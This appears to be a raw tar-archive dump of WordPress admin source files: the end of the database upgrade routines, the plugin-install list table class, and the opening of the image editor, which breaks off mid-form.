if ( $wp_current_db_version >= 22006 && get_option( 'link_manager_enabled' ) && ! $wpdb->get_var( "SELECT link_id FROM $wpdb->links LIMIT 1" ) ) {
		update_option( 'link_manager_enabled', 0 );
	}
}

/**
 * Runs before the schema is upgraded.
 *
 * @since 2.9.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function pre_schema_upgrade() {
	global $wp_current_db_version, $wpdb;

// Upgrade versions prior to 2.9.
	if ( $wp_current_db_version < 11557 ) {
		// Delete duplicate options. Keep the option with the highest option_id.
		$wpdb->query( "DELETE o1 FROM $wpdb->options AS o1 JOIN $wpdb->options AS o2 USING (`option_name`) WHERE o2.option_id > o1.option_id" );

// Drop the old primary key and add the new.
		$wpdb->query( "ALTER TABLE $wpdb->options DROP PRIMARY KEY, ADD PRIMARY KEY(option_id)" );

// Drop the old option_name index. dbDelta() doesn't do the drop.
		$wpdb->query( "ALTER TABLE $wpdb->options DROP INDEX option_name" );
	}

// Multisite schema upgrades.
	if ( $wp_current_db_version < 25448 && is_multisite() && wp_should_upgrade_global_tables() ) {

// Upgrade versions prior to 3.7.
		if ( $wp_current_db_version < 25179 ) {
			// New primary key for signups.
			$wpdb->query( "ALTER TABLE $wpdb->signups ADD signup_id BIGINT(20) NOT NULL AUTO_INCREMENT PRIMARY KEY FIRST" );
			$wpdb->query( "ALTER TABLE $wpdb->signups DROP INDEX domain" );
		}

if ( $wp_current_db_version < 25448 ) {
			// Convert archived from enum to tinyint.
			$wpdb->query( "ALTER TABLE $wpdb->blogs CHANGE COLUMN archived archived varchar(1) NOT NULL default '0'" );
			$wpdb->query( "ALTER TABLE $wpdb->blogs CHANGE COLUMN archived archived tinyint(2) NOT NULL default 0" );
		}
	}

// Upgrade versions prior to 4.2.
	if ( $wp_current_db_version < 31351 ) {
		if ( ! is_multisite() && wp_should_upgrade_global_tables() ) {
			$wpdb->query( "ALTER TABLE $wpdb->usermeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
		}
		$wpdb->query( "ALTER TABLE $wpdb->terms DROP INDEX slug, ADD INDEX slug(slug(191))" );
		$wpdb->query( "ALTER TABLE $wpdb->terms DROP INDEX name, ADD INDEX name(name(191))" );
		$wpdb->query( "ALTER TABLE $wpdb->commentmeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
		$wpdb->query( "ALTER TABLE $wpdb->postmeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
		$wpdb->query( "ALTER TABLE $wpdb->posts DROP INDEX post_name, ADD INDEX post_name(post_name(191))" );
	}

// Upgrade versions prior to 4.4.
	if ( $wp_current_db_version < 34978 ) {
		// If compatible termmeta table is found, use it, but enforce a proper index and update collation.
		if ( $wpdb->get_var( "SHOW TABLES LIKE '{$wpdb->termmeta}'" ) && $wpdb->get_results( "SHOW INDEX FROM {$wpdb->termmeta} WHERE Column_name = 'meta_key'" ) ) {
			$wpdb->query( "ALTER TABLE $wpdb->termmeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
			maybe_convert_table_to_utf8mb4( $wpdb->termmeta );
		}
	}
}

if ( ! function_exists( 'install_global_terms' ) ) :
	/**
	 * Install global terms.
	 *
	 * @since 3.0.0
	 *
	 * @global wpdb   $wpdb            WordPress database abstraction object.
	 * @global string $charset_collate
	 */
	function install_global_terms() {
		global $wpdb, $charset_collate;
		$ms_queries = "
CREATE TABLE $wpdb->sitecategories (
  cat_ID bigint(20) NOT NULL auto_increment,
  cat_name varchar(55) NOT NULL default '',
  category_nicename varchar(200) NOT NULL default '',
  last_updated timestamp NOT NULL,
  PRIMARY KEY  (cat_ID),
  KEY category_nicename (category_nicename),
  KEY last_updated (last_updated)
) $charset_collate;
";
		// Now create tables.
		dbDelta( $ms_queries );
	}
endif;

/**
 * Determine if global tables should be upgraded.
 *
 * This function performs a series of checks to ensure the environment allows
 * for the safe upgrading of global WordPress database tables. It is necessary
 * because global tables will commonly grow to millions of rows on large
 * installations, and the ability to control their upgrade routines can be
 * critical to the operation of large networks.
 *
 * In a future iteration, this function may use `wp_is_large_network()` to more-
 * intelligently prevent global table upgrades. Until then, we make sure
 * WordPress is on the main site of the main network, to avoid running queries
 * more than once in multi-site or multi-network environments.
 *
 * @since 4.3.0
 *
 * @return bool Whether to run the upgrade routines on global tables.
 */
function wp_should_upgrade_global_tables() {

// Return false early if explicitly not upgrading.
	if ( defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) {
		return false;
	}

// Assume global tables should be upgraded.
	$should_upgrade = true;

// Set to false if not on main network (does not matter if not multi-network).
	if ( ! is_main_network() ) {
		$should_upgrade = false;
	}

// Set to false if not on main site of current network (does not matter if not multi-site).
	if ( ! is_main_site() ) {
		$should_upgrade = false;
	}

/**
	 * Filters if upgrade routines should be run on global tables.
	 *
	 * @param bool $should_upgrade Whether to run the upgrade routines on global tables.
	 */
	return apply_filters( 'wp_should_upgrade_global_tables', $should_upgrade );
}
��������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-plugin-install-list-table.php��������������������������������������������������������������0000604�����������������00000055231�15075125354�0014015 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * List Table API: WP_Plugin_Install_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying plugins to install in a list table.
 *
 * @since 3.1.0
 * @access private
 *
 * @see WP_List_Table
 */
class WP_Plugin_Install_List_Table extends WP_List_Table {

public $order   = 'ASC';
	public $orderby = null;
	public $groups  = array();

private $error;

/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'install_plugins' );
	}

/**
	 * Return the list of known plugins.
	 *
	 * Uses the transient data from the updates API to determine the known
	 * installed plugins.
	 *
	 * @since 4.9.0
	 * @access protected
	 *
	 * @return array
	 */
	protected function get_installed_plugins() {
		$plugins = array();

$plugin_info = get_site_transient( 'update_plugins' );
		if ( isset( $plugin_info->no_update ) ) {
			foreach ( $plugin_info->no_update as $plugin ) {
				$plugin->upgrade          = false;
				$plugins[ $plugin->slug ] = $plugin;
			}
		}

if ( isset( $plugin_info->response ) ) {
			foreach ( $plugin_info->response as $plugin ) {
				$plugin->upgrade          = true;
				$plugins[ $plugin->slug ] = $plugin;
			}
		}

return $plugins;
	}

/**
	 * Return a list of slugs of installed plugins, if known.
	 *
	 * Uses the transient data from the updates API to determine the slugs of
	 * known installed plugins. This might be better elsewhere, perhaps even
	 * within get_plugins().
	 *
	 * @since 4.0.0
	 *
	 * @return array
	 */
	protected function get_installed_plugin_slugs() {
		return array_keys( $this->get_installed_plugins() );
	}

/**
	 * @global array  $tabs
	 * @global string $tab
	 * @global int    $paged
	 * @global string $type
	 * @global string $term
	 */
	public function prepare_items() {
		include_once ABSPATH . 'wp-admin/includes/plugin-install.php';

global $tabs, $tab, $paged, $type, $term;

wp_reset_vars( array( 'tab' ) );

$paged = $this->get_pagenum();

$per_page = 36;

// These are the tabs which are shown on the page.
		$tabs = array();

if ( 'search' === $tab ) {
			$tabs['search'] = __( 'Search Results' );
		}
		if ( 'beta' === $tab || false !== strpos( get_bloginfo( 'version' ), '-' ) ) {
			$tabs['beta'] = _x( 'Beta Testing', 'Plugin Installer' );
		}
		$tabs['featured']    = _x( 'Featured', 'Plugin Installer' );
		$tabs['popular']     = _x( 'Popular', 'Plugin Installer' );
		$tabs['recommended'] = _x( 'Recommended', 'Plugin Installer' );
		$tabs['favorites']   = _x( 'Favorites', 'Plugin Installer' );
		if ( current_user_can( 'upload_plugins' ) ) {
			// No longer a real tab. Here for filter compatibility.
			// Gets skipped in get_views().
			$tabs['upload'] = __( 'Upload Plugin' );
		}

$nonmenu_tabs = array( 'plugin-information' ); // Valid actions to perform which do not have a Menu item.

/**
		 * Filters the tabs shown on the Add Plugins screen.
		 *
		 * @since 2.7.0
		 *
		 * @param string[] $tabs The tabs shown on the Add Plugins screen. Defaults include
		 *                       'featured', 'popular', 'recommended', 'favorites', and 'upload'.
		 */
		$tabs = apply_filters( 'install_plugins_tabs', $tabs );

/**
		 * Filters tabs not associated with a menu item on the Add Plugins screen.
		 *
		 * @since 2.7.0
		 *
		 * @param string[] $nonmenu_tabs The tabs that don't have a menu item on the Add Plugins screen.
		 */
		$nonmenu_tabs = apply_filters( 'install_plugins_nonmenu_tabs', $nonmenu_tabs );

// If a non-valid menu tab has been selected, And it's not a non-menu action.
		if ( empty( $tab ) || ( ! isset( $tabs[ $tab ] ) && ! in_array( $tab, (array) $nonmenu_tabs, true ) ) ) {
			$tab = key( $tabs );
		}

$installed_plugins = $this->get_installed_plugins();

$args = array(
			'page'     => $paged,
			'per_page' => $per_page,
			// Send the locale to the API so it can provide context-sensitive results.
			'locale'   => get_user_locale(),
		);

switch ( $tab ) {
			case 'search':
				$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
				$term = isset( $_REQUEST['s'] ) ? wp_unslash( $_REQUEST['s'] ) : '';

switch ( $type ) {
					case 'tag':
						$args['tag'] = sanitize_title_with_dashes( $term );
						break;
					case 'term':
						$args['search'] = $term;
						break;
					case 'author':
						$args['author'] = $term;
						break;
				}

break;

case 'featured':
			case 'popular':
			case 'new':
			case 'beta':
				$args['browse'] = $tab;
				break;
			case 'recommended':
				$args['browse'] = $tab;
				// Include the list of installed plugins so we can get relevant results.
				$args['installed_plugins'] = array_keys( $installed_plugins );
				break;

case 'favorites':
				$action = 'save_wporg_username_' . get_current_user_id();
				if ( isset( $_GET['_wpnonce'] ) && wp_verify_nonce( wp_unslash( $_GET['_wpnonce'] ), $action ) ) {
					$user = isset( $_GET['user'] ) ? wp_unslash( $_GET['user'] ) : get_user_option( 'wporg_favorites' );

// If the save url parameter is passed with a falsey value, don't save the favorite user.
					if ( ! isset( $_GET['save'] ) || $_GET['save'] ) {
						update_user_meta( get_current_user_id(), 'wporg_favorites', $user );
					}
				} else {
					$user = get_user_option( 'wporg_favorites' );
				}
				if ( $user ) {
					$args['user'] = $user;
				} else {
					$args = false;
				}

add_action( 'install_plugins_favorites', 'install_plugins_favorites_form', 9, 0 );
				break;

default:
				$args = false;
				break;
		}

/**
		 * Filters API request arguments for each Add Plugins screen tab.
		 *
		 * The dynamic portion of the hook name, `$tab`, refers to the plugin install tabs.
		 * Default tabs include 'featured', 'popular', 'recommended', 'favorites', and 'upload'.
		 *
		 * @since 3.7.0
		 *
		 * @param array|false $args Plugin install API arguments.
		 */
		$args = apply_filters( "install_plugins_table_api_args_{$tab}", $args );

if ( ! $args ) {
			return;
		}

$api = plugins_api( 'query_plugins', $args );

if ( is_wp_error( $api ) ) {
			$this->error = $api;
			return;
		}

$this->items = $api->plugins;

if ( $this->orderby ) {
			uasort( $this->items, array( $this, 'order_callback' ) );
		}

$this->set_pagination_args(
			array(
				'total_items' => $api->info['results'],
				'per_page'    => $args['per_page'],
			)
		);

if ( isset( $api->info['groups'] ) ) {
			$this->groups = $api->info['groups'];
		}

if ( $installed_plugins ) {
			$js_plugins = array_fill_keys(
				array( 'all', 'search', 'active', 'inactive', 'recently_activated', 'mustuse', 'dropins' ),
				array()
			);

$js_plugins['all'] = array_values( wp_list_pluck( $installed_plugins, 'plugin' ) );
			$upgrade_plugins   = wp_filter_object_list( $installed_plugins, array( 'upgrade' => true ), 'and', 'plugin' );

if ( $upgrade_plugins ) {
				$js_plugins['upgrade'] = array_values( $upgrade_plugins );
			}

wp_localize_script(
				'updates',
				'_wpUpdatesItemCounts',
				array(
					'plugins' => $js_plugins,
					'totals'  => wp_get_update_data(),
				)
			);
		}
	}

/**
	 */
	public function no_items() {
		if ( isset( $this->error ) ) { ?>
			<div class="inline error"><p><?php echo $this->error->get_error_message(); ?></p>
				<p class="hide-if-no-js"><button class="button try-again"><?php _e( 'Try Again' ); ?></button></p>
			</div>
		<?php } else { ?>
			<div class="no-plugin-results"><?php _e( 'No plugins found. Try a different search.' ); ?></div>
			<?php
		}
	}

/**
	 * @global array $tabs
	 * @global string $tab
	 *
	 * @return array
	 */
	protected function get_views() {
		global $tabs, $tab;

$display_tabs = array();
		foreach ( (array) $tabs as $action => $text ) {
			$current_link_attributes                     = ( $action === $tab ) ? ' class="current" aria-current="page"' : '';
			$href                                        = self_admin_url( 'plugin-install.php?tab=' . $action );
			$display_tabs[ 'plugin-install-' . $action ] = "<a href='$href'$current_link_attributes>$text</a>";
		}
		// No longer a real tab.
		unset( $display_tabs['plugin-install-upload'] );

return $display_tabs;
	}

/**
	 * Override parent views so we can use the filter bar display.
	 */
	public function views() {
		$views = $this->get_views();

/** This filter is documented in wp-admin/inclues/class-wp-list-table.php */
		$views = apply_filters( "views_{$this->screen->id}", $views );

$this->screen->render_screen_reader_content( 'heading_views' );
		?>
<div class="wp-filter">
	<ul class="filter-links">
		<?php
		if ( ! empty( $views ) ) {
			foreach ( $views as $class => $view ) {
				$views[ $class ] = "\t<li class='$class'>$view";
			}
			echo implode( " </li>\n", $views ) . "</li>\n";
		}
		?>
	</ul>

<?php install_search_form(); ?>
</div>
		<?php
	}

/**
	 * Displays the plugin install table.
	 *
	 * Overrides the parent display() method to provide a different container.
	 *
	 * @since 4.0.0
	 */
	public function display() {
		$singular = $this->_args['singular'];

$data_attr = '';

if ( $singular ) {
			$data_attr = " data-wp-lists='list:$singular'";
		}

$this->display_tablenav( 'top' );

?>
<div class="wp-list-table <?php echo implode( ' ', $this->get_table_classes() ); ?>">
		<?php
		$this->screen->render_screen_reader_content( 'heading_list' );
		?>
	<div id="the-list"<?php echo $data_attr; ?>>
		<?php $this->display_rows_or_placeholder(); ?>
	</div>
</div>
		<?php
		$this->display_tablenav( 'bottom' );
	}

/**
	 * @global string $tab
	 *
	 * @param string $which
	 */
	protected function display_tablenav( $which ) {
		if ( 'featured' === $GLOBALS['tab'] ) {
			return;
		}

if ( 'top' === $which ) {
			wp_referer_field();
			?>
			<div class="tablenav top">
				<div class="alignleft actions">
					<?php
					/**
					 * Fires before the Plugin Install table header pagination is displayed.
					 *
					 * @since 2.7.0
					 */
					do_action( 'install_plugins_table_header' );
					?>
				</div>
				<?php $this->pagination( $which ); ?>
				<br class="clear" />
			</div>
		<?php } else { ?>
			<div class="tablenav bottom">
				<?php $this->pagination( $which ); ?>
				<br class="clear" />
			</div>
			<?php
		}
	}

/**
	 * @return array
	 */
	protected function get_table_classes() {
		return array( 'widefat', $this->_args['plural'] );
	}

/**
	 * @return array
	 */
	public function get_columns() {
		return array();
	}

/**
	 * @param object $plugin_a
	 * @param object $plugin_b
	 * @return int
	 */
	private function order_callback( $plugin_a, $plugin_b ) {
		$orderby = $this->orderby;
		if ( ! isset( $plugin_a->$orderby, $plugin_b->$orderby ) ) {
			return 0;
		}

$a = $plugin_a->$orderby;
		$b = $plugin_b->$orderby;

if ( $a == $b ) {
			return 0;
		}

if ( 'DESC' === $this->order ) {
			return ( $a < $b ) ? 1 : -1;
		} else {
			return ( $a < $b ) ? -1 : 1;
		}
	}

public function display_rows() {
		$plugins_allowedtags = array(
			'a'       => array(
				'href'   => array(),
				'title'  => array(),
				'target' => array(),
			),
			'abbr'    => array( 'title' => array() ),
			'acronym' => array( 'title' => array() ),
			'code'    => array(),
			'pre'     => array(),
			'em'      => array(),
			'strong'  => array(),
			'ul'      => array(),
			'ol'      => array(),
			'li'      => array(),
			'p'       => array(),
			'br'      => array(),
		);

$plugins_group_titles = array(
			'Performance' => _x( 'Performance', 'Plugin installer group title' ),
			'Social'      => _x( 'Social', 'Plugin installer group title' ),
			'Tools'       => _x( 'Tools', 'Plugin installer group title' ),
		);

$group = null;

foreach ( (array) $this->items as $plugin ) {
			if ( is_object( $plugin ) ) {
				$plugin = (array) $plugin;
			}

// Display the group heading if there is one.
			if ( isset( $plugin['group'] ) && $plugin['group'] != $group ) {
				if ( isset( $this->groups[ $plugin['group'] ] ) ) {
					$group_name = $this->groups[ $plugin['group'] ];
					if ( isset( $plugins_group_titles[ $group_name ] ) ) {
						$group_name = $plugins_group_titles[ $group_name ];
					}
				} else {
					$group_name = $plugin['group'];
				}

// Starting a new group, close off the divs of the last one.
				if ( ! empty( $group ) ) {
					echo '</div></div>';
				}

echo '<div class="plugin-group"><h3>' . esc_html( $group_name ) . '</h3>';
				// Needs an extra wrapping div for nth-child selectors to work.
				echo '<div class="plugin-items">';

$group = $plugin['group'];
			}
			$title = wp_kses( $plugin['name'], $plugins_allowedtags );

// Remove any HTML from the description.
			$description = strip_tags( $plugin['short_description'] );
			$version     = wp_kses( $plugin['version'], $plugins_allowedtags );

$name = strip_tags( $title . ' ' . $version );

$author = wp_kses( $plugin['author'], $plugins_allowedtags );
			if ( ! empty( $author ) ) {
				/* translators: %s: Plugin author. */
				$author = ' <cite>' . sprintf( __( 'By %s' ), $author ) . '</cite>';
			}

$requires_php = isset( $plugin['requires_php'] ) ? $plugin['requires_php'] : null;
			$requires_wp  = isset( $plugin['requires'] ) ? $plugin['requires'] : null;

$compatible_php = is_php_version_compatible( $requires_php );
			$compatible_wp  = is_wp_version_compatible( $requires_wp );
			$tested_wp      = ( empty( $plugin['tested'] ) || version_compare( get_bloginfo( 'version' ), $plugin['tested'], '<=' ) );

$action_links = array();

if ( current_user_can( 'install_plugins' ) || current_user_can( 'update_plugins' ) ) {
				$status = install_plugin_install_status( $plugin );

switch ( $status['status'] ) {
					case 'install':
						if ( $status['url'] ) {
							if ( $compatible_php && $compatible_wp ) {
								$action_links[] = sprintf(
									'<a class="install-now button" data-slug="%s" href="%s" aria-label="%s" data-name="%s">%s</a>',
									esc_attr( $plugin['slug'] ),
									esc_url( $status['url'] ),
									/* translators: %s: Plugin name and version. */
									esc_attr( sprintf( _x( 'Install %s now', 'plugin' ), $name ) ),
									esc_attr( $name ),
									__( 'Install Now' )
								);
							} else {
								$action_links[] = sprintf(
									'<button type="button" class="button button-disabled" disabled="disabled">%s</button>',
									_x( 'Cannot Install', 'plugin' )
								);
							}
						}
						break;

case 'update_available':
						if ( $status['url'] ) {
							if ( $compatible_php && $compatible_wp ) {
								$action_links[] = sprintf(
									'<a class="update-now button aria-button-if-js" data-plugin="%s" data-slug="%s" href="%s" aria-label="%s" data-name="%s">%s</a>',
									esc_attr( $status['file'] ),
									esc_attr( $plugin['slug'] ),
									esc_url( $status['url'] ),
									/* translators: %s: Plugin name and version. */
									esc_attr( sprintf( _x( 'Update %s now', 'plugin' ), $name ) ),
									esc_attr( $name ),
									__( 'Update Now' )
								);
							} else {
								$action_links[] = sprintf(
									'<button type="button" class="button button-disabled" disabled="disabled">%s</button>',
									_x( 'Cannot Update', 'plugin' )
								);
							}
						}
						break;

case 'latest_installed':
					case 'newer_installed':
						if ( is_plugin_active( $status['file'] ) ) {
							$action_links[] = sprintf(
								'<button type="button" class="button button-disabled" disabled="disabled">%s</button>',
								_x( 'Active', 'plugin' )
							);
						} elseif ( current_user_can( 'activate_plugin', $status['file'] ) ) {
							$button_text = __( 'Activate' );
							/* translators: %s: Plugin name. */
							$button_label = _x( 'Activate %s', 'plugin' );
							$activate_url = add_query_arg(
								array(
									'_wpnonce' => wp_create_nonce( 'activate-plugin_' . $status['file'] ),
									'action'   => 'activate',
									'plugin'   => $status['file'],
								),
								network_admin_url( 'plugins.php' )
							);

if ( is_network_admin() ) {
								$button_text = __( 'Network Activate' );
								/* translators: %s: Plugin name. */
								$button_label = _x( 'Network Activate %s', 'plugin' );
								$activate_url = add_query_arg( array( 'networkwide' => 1 ), $activate_url );
							}

$action_links[] = sprintf(
								'<a href="%1$s" class="button activate-now" aria-label="%2$s">%3$s</a>',
								esc_url( $activate_url ),
								esc_attr( sprintf( $button_label, $plugin['name'] ) ),
								$button_text
							);
						} else {
							$action_links[] = sprintf(
								'<button type="button" class="button button-disabled" disabled="disabled">%s</button>',
								_x( 'Installed', 'plugin' )
							);
						}
						break;
				}
			}

$details_link = self_admin_url(
				'plugin-install.php?tab=plugin-information&amp;plugin=' . $plugin['slug'] .
				'&amp;TB_iframe=true&amp;width=600&amp;height=550'
			);

$action_links[] = sprintf(
				'<a href="%s" class="thickbox open-plugin-details-modal" aria-label="%s" data-title="%s">%s</a>',
				esc_url( $details_link ),
				/* translators: %s: Plugin name and version. */
				esc_attr( sprintf( __( 'More information about %s' ), $name ) ),
				esc_attr( $name ),
				__( 'More Details' )
			);

if ( ! empty( $plugin['icons']['svg'] ) ) {
				$plugin_icon_url = $plugin['icons']['svg'];
			} elseif ( ! empty( $plugin['icons']['2x'] ) ) {
				$plugin_icon_url = $plugin['icons']['2x'];
			} elseif ( ! empty( $plugin['icons']['1x'] ) ) {
				$plugin_icon_url = $plugin['icons']['1x'];
			} else {
				$plugin_icon_url = $plugin['icons']['default'];
			}

/**
			 * Filters the install action links for a plugin.
			 *
			 * @since 2.7.0
			 *
			 * @param string[] $action_links An array of plugin action links. Defaults are links to Details and Install Now.
			 * @param array    $plugin       The plugin currently being listed.
			 */
			$action_links = apply_filters( 'plugin_install_action_links', $action_links, $plugin );

$last_updated_timestamp = strtotime( $plugin['last_updated'] );
			?>
		<div class="plugin-card plugin-card-<?php echo sanitize_html_class( $plugin['slug'] ); ?>">
			<?php
			if ( ! $compatible_php || ! $compatible_wp ) {
				echo '<div class="notice inline notice-error notice-alt"><p>';
				if ( ! $compatible_php && ! $compatible_wp ) {
					_e( 'This plugin doesn&#8217;t work with your versions of WordPress and PHP.' );
					if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
						printf(
							/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
							' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
							self_admin_url( 'update-core.php' ),
							esc_url( wp_get_update_php_url() )
						);
						wp_update_php_annotation( '</p><p><em>', '</em>' );
					} elseif ( current_user_can( 'update_core' ) ) {
						printf(
							/* translators: %s: URL to WordPress Updates screen. */
							' ' . __( '<a href="%s">Please update WordPress</a>.' ),
							self_admin_url( 'update-core.php' )
						);
					} elseif ( current_user_can( 'update_php' ) ) {
						printf(
							/* translators: %s: URL to Update PHP page. */
							' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
							esc_url( wp_get_update_php_url() )
						);
						wp_update_php_annotation( '</p><p><em>', '</em>' );
					}
				} elseif ( ! $compatible_wp ) {
					_e( 'This plugin doesn&#8217;t work with your version of WordPress.' );
					if ( current_user_can( 'update_core' ) ) {
						printf(
							/* translators: %s: URL to WordPress Updates screen. */
							' ' . __( '<a href="%s">Please update WordPress</a>.' ),
							self_admin_url( 'update-core.php' )
						);
					}
				} elseif ( ! $compatible_php ) {
					_e( 'This plugin doesn&#8217;t work with your version of PHP.' );
					if ( current_user_can( 'update_php' ) ) {
						printf(
							/* translators: %s: URL to Update PHP page. */
							' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
							esc_url( wp_get_update_php_url() )
						);
						wp_update_php_annotation( '</p><p><em>', '</em>' );
					}
				}
				echo '</p></div>';
			}
			?>
			<div class="plugin-card-top">
				<div class="name column-name">
					<h3>
						<a href="<?php echo esc_url( $details_link ); ?>" class="thickbox open-plugin-details-modal">
						<?php echo $title; ?>
						<img src="<?php echo esc_attr( $plugin_icon_url ); ?>" class="plugin-icon" alt="" />
						</a>
					</h3>
				</div>
				<div class="action-links">
					<?php
					if ( $action_links ) {
						echo '<ul class="plugin-action-buttons"><li>' . implode( '</li><li>', $action_links ) . '</li></ul>';
					}
					?>
				</div>
				<div class="desc column-description">
					<p><?php echo $description; ?></p>
					<p class="authors"><?php echo $author; ?></p>
				</div>
			</div>
			<div class="plugin-card-bottom">
				<div class="vers column-rating">
					<?php
					wp_star_rating(
						array(
							'rating' => $plugin['rating'],
							'type'   => 'percent',
							'number' => $plugin['num_ratings'],
						)
					);
					?>
					<span class="num-ratings" aria-hidden="true">(<?php echo number_format_i18n( $plugin['num_ratings'] ); ?>)</span>
				</div>
				<div class="column-updated">
					<strong><?php _e( 'Last Updated:' ); ?></strong>
					<?php
						/* translators: %s: Human-readable time difference. */
						printf( __( '%s ago' ), human_time_diff( $last_updated_timestamp ) );
					?>
				</div>
				<div class="column-downloaded">
					<?php
					if ( $plugin['active_installs'] >= 1000000 ) {
						$active_installs_millions = floor( $plugin['active_installs'] / 1000000 );
						$active_installs_text     = sprintf(
							/* translators: %s: Number of millions. */
							_nx( '%s+ Million', '%s+ Million', $active_installs_millions, 'Active plugin installations' ),
							number_format_i18n( $active_installs_millions )
						);
					} elseif ( 0 == $plugin['active_installs'] ) {
						$active_installs_text = _x( 'Less Than 10', 'Active plugin installations' );
					} else {
						$active_installs_text = number_format_i18n( $plugin['active_installs'] ) . '+';
					}
					/* translators: %s: Number of installations. */
					printf( __( '%s Active Installations' ), $active_installs_text );
					?>
				</div>
				<div class="column-compatibility">
					<?php
					if ( ! $tested_wp ) {
						echo '<span class="compatibility-untested">' . __( 'Untested with your version of WordPress' ) . '</span>';
					} elseif ( ! $compatible_wp ) {
						echo '<span class="compatibility-incompatible">' . __( '<strong>Incompatible</strong> with your version of WordPress' ) . '</span>';
					} else {
						echo '<span class="compatibility-compatible">' . __( '<strong>Compatible</strong> with your version of WordPress' ) . '</span>';
					}
					?>
				</div>
			</div>
		</div>
			<?php
		}

// Close off the group divs of the last one.
		if ( ! empty( $group ) ) {
			echo '</div></div>';
		}
	}
}
�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������image-edit.php��������������������������������������������������������������������������������������0000604�����������������00000106034�15075125354�0007271 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress Image Editor
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Loads the WP image-editing interface.
 *
 * @since 2.9.0
 *
 * @param int         $post_id Attachment post ID.
 * @param bool|object $msg     Optional. Message to display for image editor updates or errors.
 *                             Default false.
 */
function wp_image_editor( $post_id, $msg = false ) {
	$nonce     = wp_create_nonce( "image_editor-$post_id" );
	$meta      = wp_get_attachment_metadata( $post_id );
	$thumb     = image_get_intermediate_size( $post_id, 'thumbnail' );
	$sub_sizes = isset( $meta['sizes'] ) && is_array( $meta['sizes'] );
	$note      = '';

if ( isset( $meta['width'], $meta['height'] ) ) {
		$big = max( $meta['width'], $meta['height'] );
	} else {
		die( __( 'Image data does not exist. Please re-upload the image.' ) );
	}

$sizer = $big > 400 ? 400 / $big : 1;

$backup_sizes = get_post_meta( $post_id, '_wp_attachment_backup_sizes', true );
	$can_restore  = false;
	if ( ! empty( $backup_sizes ) && isset( $backup_sizes['full-orig'], $meta['file'] ) ) {
		$can_restore = wp_basename( $meta['file'] ) !== $backup_sizes['full-orig']['file'];
	}

if ( $msg ) {
		if ( isset( $msg->error ) ) {
			$note = "<div class='notice notice-error' tabindex='-1' role='alert'><p>$msg->error</p></div>";
		} elseif ( isset( $msg->msg ) ) {
			$note = "<div class='notice notice-success' tabindex='-1' role='alert'><p>$msg->msg</p></div>";
		}
	}

?>
	<div class="imgedit-wrap wp-clearfix">
	<div id="imgedit-panel-<?php echo $post_id; ?>">

<div class="imgedit-panel-content wp-clearfix">
		<?php echo $note; ?>
		<div class="imgedit-menu wp-clearfix">
			<button type="button" onclick="imageEdit.handleCropToolClick( <?php echo "$post_id, '$nonce'"; ?>, this )" class="imgedit-crop button disabled" disabled><?php esc_html_e( 'Crop' ); ?></button>
			<?php

// On some setups GD library does not provide imagerotate() - Ticket #11536.
			if ( wp_image_editor_supports(
				array(
					'mime_type' => get_post_mime_type( $post_id ),
					'methods'   => array( 'rotate' ),
				)
			) ) {
				$note_no_rotate = '';
				?>
				<button type="button" class="imgedit-rleft button" onclick="imageEdit.rotate( 90, <?php echo "$post_id, '$nonce'"; ?>, this)"><?php esc_html_e( 'Rotate left' ); ?></button>
				<button type="button" class="imgedit-rright button" onclick="imageEdit.rotate(-90, <?php echo "$post_id, '$nonce'"; ?>, this)"><?php esc_html_e( 'Rotate right' ); ?></button>
				<?php
			} else {
				$note_no_rotate = '<p class="note-no-rotate"><em>' . __( 'Image rotation is not supported by your web host.' ) . '</em></p>';
				?>
				<button type="button" class="imgedit-rleft button disabled" disabled></button>
				<button type="button" class="imgedit-rright button disabled" disabled></button>
			<?php } ?>

<button type="button" onclick="imageEdit.flip(1, <?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-flipv button"><?php esc_html_e( 'Flip vertical' ); ?></button>
			<button type="button" onclick="imageEdit.flip(2, <?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-fliph button"><?php esc_html_e( 'Flip horizontal' ); ?></button>

<br class="imgedit-undo-redo-separator" />
			<button type="button" id="image-undo-<?php echo $post_id; ?>" onclick="imageEdit.undo(<?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-undo button disabled" disabled><?php esc_html_e( 'Undo' ); ?></button>
			<button type="button" id="image-redo-<?php echo $post_id; ?>" onclick="imageEdit.redo(<?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-redo button disabled" disabled><?php esc_html_e( 'Redo' ); ?></button>
			<?php echo $note_no_rotate; ?>
		</div>

<input type="hidden" id="imgedit-sizer-<?php echo $post_id; ?>" value="<?php echo $sizer; ?>" />
		<input type="hidden" id="imgedit-history-<?php echo $post_id; ?>" value="" />
		<input type="hidden" id="imgedit-undone-<?php echo $post_id; ?>" value="0" />
		<input type="hidden" id="imgedit-selection-<?php echo $post_id; ?>" value="" />
		<input type="hidden" id="imgedit-x-<?php echo $post_id; ?>" value="<?php echo isset( $meta['width'] ) ? $meta['width'] : 0; ?>" />
